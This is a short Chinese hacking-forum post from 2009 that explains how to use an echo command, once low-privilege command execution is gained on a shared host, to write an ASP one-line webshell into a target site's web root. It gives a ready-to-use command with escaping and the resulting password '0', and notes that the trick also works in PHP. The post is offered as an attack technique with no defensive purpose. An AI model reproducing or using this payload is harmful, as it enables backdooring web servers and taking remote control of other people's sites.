找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 860|回复: 0

Echo 出 WebShell

[复制链接]

735

主题

1102

回帖

3076

牛毛

二级牛人

积分
3096
QQ
发表于 2009-7-3 07:40:03 | 显示全部楼层 |阅读模式 来自 山东省威海市
Echo 出 WebShell
在旁注过程中,可以执行cmd而权限又比较低的情况下,有时候可以用这个方法帮你拿下目标站。
命令格式
Echo 语句 >目标站绝对目录
例如:
echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp
这样访问目标站的目录下就会生成一个密码为0的asp的一句话,此方法在PHP等脚本语言均适用,大家灵活发挥。
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-27 18:38 , Processed in 0.167267 second(s), 32 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表